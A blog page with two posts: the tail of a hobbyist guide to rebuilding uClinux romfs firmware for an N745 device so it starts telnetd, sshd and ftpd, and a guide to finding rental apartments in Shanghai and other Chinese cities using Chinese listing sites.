drwxr-xr-x 158 root root 4096 2009-01-22 23:28 user
drwxr-xr-x 4 root root 4096 2009-03-12 03:54 vendors
debian:/home/N745/nuc700-uClinux/uClinux-dist#


Looks like it should be fairly easy, right?
Wrong.

The default build doesn’t work. Why would it be that easy.

You’ll end up with issues like:

entry-armv.S:782: Error: Internal_relocation (type 210) not fixed up
(OFFSET_IMM)
entry-armv.S:784: Error: Internal_relocation (type 208) not fixed up
(IMMEDIATE)

So, we need to make sure we start off fresh.
Also, note that we’re building for an N745 cpu, so we’ll need to configure that at the make config stage.
Lastly, and EXTREMELY important, is that we’ll need to put our required tools in the path.

DO NOT FORGET TO DO THIS
sample PATH below:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/arm_tools/bin


debian:/home/N745/nuc700-uClinux/uClinux-dist# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/arm_tools/bin

[A gazillion pages of info later, we have a build environment!]


We’re finally ready to use our weapon of mass destruction.


debian:/home/N745/nuc700-uClinux/uClinux-dist#make
...

It should compile without issue.

Next step is to mount our created rom image, and copy the binaries off, or just go to the compiled folders, and get the binaries.

I’ve done this step already, and have a zip file of a few useful files ready.

-rwxr-xr-x 1 root root 110888 2010-04-30 03:50 ftpd
-rwxr-xr-x 1 root root 55164 2010-04-30 03:52 ping
-rwxr-xr-x 1 root root 1201904 2010-04-30 03:51 ssh
-rwxr-xr-x 1 root root 1219864 2010-04-30 03:51 sshd
-rwxr-xr-x 1 root root 118004 2010-04-30 03:45 telnet
-rwxr-xr-x 1 root root 45460 2010-04-30 03:45 telnetd

file *
ftpd: BFLT executable – version 4 ram
ping: BFLT executable – version 4 ram
ssh: BFLT executable – version 4 ram
sshd: BFLT executable – version 4 ram
telnet: BFLT executable – version 4 ram
telnetd: BFLT executable – version 4 ram

Download that here – arm7-nettools

All we need to do now is mount our romfs image, unzip the arm7-nettools.zip, copy the arm7 bFLT binaries over to bin, add telnetd, sshd, and ftpd to our /bin/init, and rebuild by running genromfs on our filesystem.

We can then finally flash our new romfs, and test it out.

Don’t forget that romfs is a read only file system, so we can’t modify it by mounting it. We need to mount, copying everything to elsewhere, do our required bits and pieces, then rebuild.

eg

mount -o loop -t romfs still_unsure.img /mnt/test -r

mkdir /mnt/new
cd /mnt
rsync -arv /mnt/test/ new
cd new/bin
wget http://www.computersolutions.cn/blog/wp-content/uploads/2010/04/arm7-nettools.zip
unzip arm7-nettools.zip
rm arm7-nettools.zip

[We need to also edit init]
pico init

Add

sshd&
telnetd&
ftpd&

eg –
cat init
mount -t proc none /proc
mount -t ramfs none /usr
mount -t ramfs none /swap
mount -t ramfs none /var/run
mount -t ramfs none /etc
mount -t ramfs none /flash
mount -t ramfs none /home
camera&
sshd&
telnetd&
ftpd&
sh

Change to the next directory up, and lets run genromfs

genromfs -d new -f testrom.img
debian:/mnt# ls testrom.img
testrom.img
debian:/mnt# ls -al testrom.img
-rw-r–r– 1 root root 3329024 2010-04-30 04:18 testrom.img

In theory, this should be usable (famous last words!).

Unfortunately, I can’t try testing on that at home, as all the equipment is at the office, but that should be fairly easy.

Probably also some small config issues to sort out, as ftpd, telnetd and sshd will probably choke without their related /etc/whatever config files needed, but we can sort that out via serial on the debug ports.

This is a response to this post about how to find an apt in Shanghai.

I’ve updated the post to reflect that this can be done in other cities in China also, not just Shanghai, as this was getting re-twittered with questions about how to do this in other locations.

You may also want to support me, and buy a set of my Chinese / English Fridge Magnets (as these are useful for newcomers to China – you can use them to communicate with the ayi!). More on those here – http://liurl.cn/eu

Anjuke.com has city sites for the following locations currently:

北京 (Beijing)  上海 (Shanghai)  广州 (Guangzhou)  深圳 (Shenzhen)  成都 (Chengdu) 南京 (Nanjing) 杭州 (Hangzhou) 苏州 (Suzhou)

In order to select the city you want, visit one of the city sites eg http://shanghai.anjuke.com, and click the link next to the city name 其他城市 (other cities)

See the image above for an example where I choose 深圳 (Shenzhen).  The direct link for shenzhen is http://shenzhen.anjuke.com

You’ll still need to find out the chinese names for area that you want to live in for your city, unfortunately, I’m only familiar with Shanghai and Zhuhai, so I can’t really help for other locations!
I can assist with translations, and update this post if people leave comments though.

In general, you want to be using the web to do the research, not go to agents.
When I say this, I mean do the research yourself for the apt’s you’d like to look at, *then* go to the agents in question, and ask to see the apt’s.
Agents generally range from clueless, to inept, to downright timewasters, so only go look at stuff you think is good for your requirements.

There are a number of good websites that just do apt stuff.
Here are some of the common ones for Shanghai and Beijing. You’ll find that many of the apt’s will be listed on multiple sites, so generally you’ll only need to use one site to search. I like Anjuke, because it has a clean interface, and is easier to use. The cheapest places in Shanghai are generally the ones on http://rent.online.sh.cn though.

上海 Shanghai
http://shanghai.anjuke.com
http://rent.online.sh.cn
http://shanghai.souwoo.com/
http://www.anjia.com

北京 Beijing
http://beijing.souwoo.com/
http://beijing.anjuke.com/

You can find suitable places fairly easily online, and just arrange to visit the ones that are in budget, and look suitable.

Using the Chinese sites is a lot easier than it looks!

First and foremost, learn the Chinese for the area you’ll be in.
The main foreign friendly area’s (in Puxi) are:

卢湾 = Lu Wan (Xin Tian Di and surrounds)
静安 = Jing an (Portman (Nanjing Xi lu) through to changshou road)
徐汇 = Xu Hui (huai hai rd / french concession)
长宁 = Chang Ning (zhong shan park)
红桥 = Hong Qiao

Rental is 租房

Here are some quick instructions for using Anjuke

Anjuke, you would click 租房 (rent) – http://shanghai.anjuke.com/v2/rent/

This will give you a search similar to the one below. Its fairly nice to use, and essentially you filter out the locations you want (or don’t want).

区域 is area (see the ones listed above)
租金 is monthly rental – choose your price range
房型 is how many rooms (leave that at the default, price is more important)
装修 is buildout – this goes from 毛坯 (bare concrete), through to standard (aka hovel), through to 精装修 (ok/fair) and 豪华装修 (acceptable/ probably tacky).

不限 means I don’t care. (You use this in conjunction with the options above, so if you didn’t care about the renovation, click that to show any renovation type).

If you want to find a place in Jing An for 2000RMB , you’d click 静安, 1000-2000元, then take a look at the listings.

eg

面积 refers to area size.

In the listing above, there were 307 results, and the first result is for a room in an old house.
The size of the apt is 48sq/m, and its on the second floor, out of 3 floors.
The build out is 普通装修. This tends to mean never been cleaned or painted, or otherwise maintained.
As the price is cheap, its quite probable that it has a shared toilet / kitchen (which is quite common for old houses).

Click on the title of the listing to view the details. (the large blue link on each listing)

Also check in the listing title to see if the listing says 单间出租 – that means they’re renting a room, and you’ll be sharing a flat.

Most places have pictures, (but don’t assume they’re correct). Each listing will have an agent, and a phone number.
Call the number, and talk to the agent, if you are interested.

If you don’t speak Chinese, then print the page out, and ask someone for some help.

You can translate any page listing to chinglish fairly easily using http://www.google.com/translate. Just copy the url for the page, open another page and paste the url into the google translate box. Click translate, and it will give you a bad translation, which is generally good enough to get the gist of things!

These were my tips for someone else recently who was asking the same questions for Changning area:

No problems to find a nice apt for less than 3000RMB for that area furnished. Prices online in Chinese sites range from 2300 – 3000 for 60 sq/m around that area.
You won’t really find unfurnished apt’s here in China.

Electricity is expensive here – if you leave the a/c on – eg in summer months its a necessity, expect bills of 500rmb upwards.
Water, gas is cheap < 50-100rmb. Internet 150rmb a month for 2M line.

Contract usually signed for 6months to 1 year. Typically 1 – 3 months deposit, and 1 month to the agent as commission.
Most of the agents here are clueless unfortunately.

Suggest look for apt’s in larger buildings, as those will be newer, and have lifts (anything >7 floors has a lift)
eg 总26层/第15层 – this means that its the 15th floor out of 26floors.

You can use google translate on the pages that you look at in order to give you a little more info, but pretty much all the info you need is easy to see – eg m2, price..

Another important point not mentioned at all is that you should exercise caution.

If the landlord is an asshole, don’t bother, even if its a nice apt.
The ideal landlord is one you don’t see until the rent is due.

Also small repairs are usually better off getting organized by yourself, rather than the landlord. Workmen are cheap here, and spending 50-100rmb for fixing a leaking tap is less hassle than having the landlord do it. If it will cost > that then use the landlord…

Another hugely important thing is to make sure that you don’t get ripped off.

Buy a cheap disposable camera, take pictures of the state of the place when you move in. Have the landlord sign these – it will cost you less than 50rmb.

When it comes to moving out, you won’t have any arguments over who scratched this, broke that etc.

I’ve moved into places where the furniture dated back to before I was born, and it was crappy then, and worse condition now, so be prepared, and record everything so that when you move out, they don’t steal your deposit by claiming you broke stuff that was already falling apart.

Also important is to make sure that the landlord is allowed to rent the place out. Make sure that the name on the rental contract matches the name on the Landlords ID.

I’ve had a few friends who have had to move for various reasons related to that. Also make sure that the landlord can give you a fapiao for the rental, as this 95% guarantee’s that the apt is legal to rent.

Ask for a discount if you don’t need a fapiao.

Good luck!